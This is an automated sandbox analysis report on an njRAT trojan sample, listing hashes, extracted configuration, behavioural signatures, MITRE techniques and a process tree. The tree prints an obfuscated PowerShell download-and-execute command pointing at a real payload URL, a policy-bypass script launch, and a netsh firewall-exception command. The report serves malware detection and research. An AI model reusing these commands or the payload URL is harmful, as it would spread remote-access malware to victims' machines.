njrat | 846c121840d5733fc9ffed9baf40ef76dad6011ee88f8382b828df3aa61e2a22

General

Target

RSOAW_#010.vbs
Size

1KB
MD5

1a82973cdecd6bd1a070e0b14fb9210f
SHA1

97b096ff116dd27bc2a20f5c58c87b03d6b1e7ff
SHA256

846c121840d5733fc9ffed9baf40ef76dad6011ee88f8382b828df3aa61e2a22
SHA512

09c473a93334b970599bfe26a3e0936d85c34ef0f711ce82bf2640a145601463686812c04962f38460bef025035cf524aac187185b51ffeb95c91fb99b7cc49c

Score

10^/10

njrat hacked evasion trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://fs12n2.sendspace.com/dlpro/de7e01fb2feeae8700b438a36e907097/619d05a0/jnmrpk/eyuow.txt

Extracted

Family

njrat

Version

1.9

Botnet

HacKed

Mutex

Microsoft.Exe

Attributes

reg_key
Microsoft.Exe

Signatures

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

7 3680 powershell.exe
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1208 set thread context of 2188 1208 powershell.exe aspnet_regsql.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

flow	pid	process
7	3680	powershell.exe

description	pid	process	target process
PID 1208 set thread context of 2188	1208	powershell.exe	aspnet_regsql.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exepowershell.exe

pid	process
3680	powershell.exe
3680	powershell.exe
3680	powershell.exe
1208	powershell.exe
1208	powershell.exe
1208	powershell.exe
1208	powershell.exe
1208	powershell.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

Processes:

powershell.exepowershell.exeaspnet_regsql.exe

description	pid	process
Token: SeDebugPrivilege	3680	powershell.exe
Token: SeDebugPrivilege	1208	powershell.exe
Token: SeDebugPrivilege	2188	aspnet_regsql.exe
Token: 33	2188	aspnet_regsql.exe
Token: SeIncBasePriorityPrivilege	2188	aspnet_regsql.exe
Token: 33	2188	aspnet_regsql.exe
Token: SeIncBasePriorityPrivilege	2188	aspnet_regsql.exe
Token: 33	2188	aspnet_regsql.exe
Token: SeIncBasePriorityPrivilege	2188	aspnet_regsql.exe
Token: 33	2188	aspnet_regsql.exe
Token: SeIncBasePriorityPrivilege	2188	aspnet_regsql.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

WScript.exepowershell.exepowershell.exeaspnet_regsql.exe

description	pid	process	target process
PID 2776 wrote to memory of 3680	2776	WScript.exe	powershell.exe
PID 2776 wrote to memory of 3680	2776	WScript.exe	powershell.exe
PID 3680 wrote to memory of 1208	3680	powershell.exe	powershell.exe
PID 3680 wrote to memory of 1208	3680	powershell.exe	powershell.exe
PID 1208 wrote to memory of 2360	1208	powershell.exe	aspnet_regsql.exe
PID 1208 wrote to memory of 2360	1208	powershell.exe	aspnet_regsql.exe
PID 1208 wrote to memory of 2360	1208	powershell.exe	aspnet_regsql.exe
PID 1208 wrote to memory of 2188	1208	powershell.exe	aspnet_regsql.exe
PID 1208 wrote to memory of 2188	1208	powershell.exe	aspnet_regsql.exe
PID 1208 wrote to memory of 2188	1208	powershell.exe	aspnet_regsql.exe
PID 1208 wrote to memory of 2188	1208	powershell.exe	aspnet_regsql.exe
PID 1208 wrote to memory of 2188	1208	powershell.exe	aspnet_regsql.exe
PID 1208 wrote to memory of 2188	1208	powershell.exe	aspnet_regsql.exe
PID 1208 wrote to memory of 2188	1208	powershell.exe	aspnet_regsql.exe
PID 1208 wrote to memory of 2188	1208	powershell.exe	aspnet_regsql.exe
PID 2188 wrote to memory of 1548	2188	aspnet_regsql.exe	netsh.exe
PID 2188 wrote to memory of 1548	2188	aspnet_regsql.exe	netsh.exe
PID 2188 wrote to memory of 1548	2188	aspnet_regsql.exe	netsh.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RSOAW_#010.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2776

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" I`e`x (New-Object Net.WebClient).DownloadString('https://fs12n2.sendspace.com/dlpro/de7e01fb2feeae8700b438a36e907097/619d05a0/jnmrpk/eyuow.txt');
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3680

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoE -Nop -NonI -ExecutionPolicy Bypass -file C:\Users\Public\Downloads\HBar.ps1
3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1208

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
4⤵
PID:2360

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2188

C:\Windows\SysWOW64\netsh.exe
netsh firewall add allowedprogram "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe" "aspnet_regsql.exe" ENABLE
5⤵
PID:1548

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Public\Downloads\HBar.ps1
MD5
fae00a2501d2db9016c53214ed0adbcd

SHA1
16518f27a21ed8ee9ba53ffefc4a3ce4e89438a8

SHA256
cf9fbf65847079463dd464bc262b5e7b014e77561030b41395e8bd72ca0ef998

SHA512
e7e7ac1f6eae4025b119ac83c9f9420067f8782caac2365145a1d673f1e413ef2a4812ca986e09e2b09ceb5a26b853265d79d82a0dfb769ead2b4dc089d213cd

Download Submit
memory/1208-158-0x00000221FED63000-0x00000221FED65000-memory.dmp

Filesize
8KB

Download
memory/1208-169-0x00000221FED66000-0x00000221FED68000-memory.dmp

Filesize
8KB

Download
memory/1208-164-0x00000221FECC0000-0x00000221FECC4000-memory.dmp

Filesize
16KB

Download
memory/1208-160-0x00000221FCE80000-0x00000221FCE82000-memory.dmp

Filesize
8KB

Download
memory/1208-148-0x0000000000000000-mapping.dmp

Download
memory/1208-157-0x00000221FED60000-0x00000221FED62000-memory.dmp

Filesize
8KB

Download
memory/1208-155-0x00000221FCE80000-0x00000221FCE82000-memory.dmp

Filesize
8KB

Download
memory/1208-154-0x00000221FCE80000-0x00000221FCE82000-memory.dmp

Filesize
8KB

Download
memory/1208-152-0x00000221FCE80000-0x00000221FCE82000-memory.dmp

Filesize
8KB

Download
memory/1208-151-0x00000221FCE80000-0x00000221FCE82000-memory.dmp

Filesize
8KB

Download
memory/1208-149-0x00000221FCE80000-0x00000221FCE82000-memory.dmp

Filesize
8KB

Download
memory/1208-150-0x00000221FCE80000-0x00000221FCE82000-memory.dmp

Filesize
8KB

Download
memory/1548-175-0x0000000000000000-mapping.dmp

Download
memory/2188-167-0x0000000000400000-0x0000000000410000-memory.dmp

Filesize
64KB

Download
memory/2188-168-0x000000000040BBAE-mapping.dmp

Download
memory/2188-179-0x0000000006680000-0x0000000006681000-memory.dmp

Filesize
4KB

Download
memory/2188-178-0x00000000060F0000-0x00000000060F1000-memory.dmp

Filesize
4KB

Download
memory/2188-177-0x0000000006110000-0x0000000006111000-memory.dmp

Filesize
4KB

Download
memory/2188-176-0x0000000005580000-0x0000000005581000-memory.dmp

Filesize
4KB

Download
memory/2188-174-0x0000000005A80000-0x0000000005A81000-memory.dmp

Filesize
4KB

Download
memory/2188-173-0x0000000005BA0000-0x0000000005BA1000-memory.dmp

Filesize
4KB

Download
memory/2188-172-0x0000000005600000-0x0000000005601000-memory.dmp

Filesize
4KB

Download
memory/3680-124-0x00000229CB730000-0x00000229CB732000-memory.dmp

Filesize
8KB

Download
memory/3680-122-0x00000229CB730000-0x00000229CB732000-memory.dmp

Filesize
8KB

Download
memory/3680-119-0x00000229CB730000-0x00000229CB732000-memory.dmp

Filesize
8KB

Download
memory/3680-118-0x00000229CB730000-0x00000229CB732000-memory.dmp

Filesize
8KB

Download
memory/3680-115-0x0000000000000000-mapping.dmp

Download
memory/3680-121-0x00000229CB730000-0x00000229CB732000-memory.dmp

Filesize
8KB

Download
memory/3680-116-0x00000229CB730000-0x00000229CB732000-memory.dmp

Filesize
8KB

Download
memory/3680-120-0x00000229CD3A0000-0x00000229CD3A1000-memory.dmp

Filesize
4KB

Download
memory/3680-123-0x00000229E58B0000-0x00000229E58B1000-memory.dmp

Filesize
4KB

Download
memory/3680-136-0x00000229CB730000-0x00000229CB732000-memory.dmp

Filesize
8KB

Download
memory/3680-117-0x00000229CB730000-0x00000229CB732000-memory.dmp

Filesize
8KB

Download
memory/3680-128-0x00000229E5960000-0x00000229E5962000-memory.dmp

Filesize
8KB

Download
memory/3680-129-0x00000229E5963000-0x00000229E5965000-memory.dmp

Filesize
8KB

Download
memory/3680-130-0x00000229E5966000-0x00000229E5968000-memory.dmp

Filesize
8KB

Download
memory/3680-135-0x00000229CB730000-0x00000229CB732000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads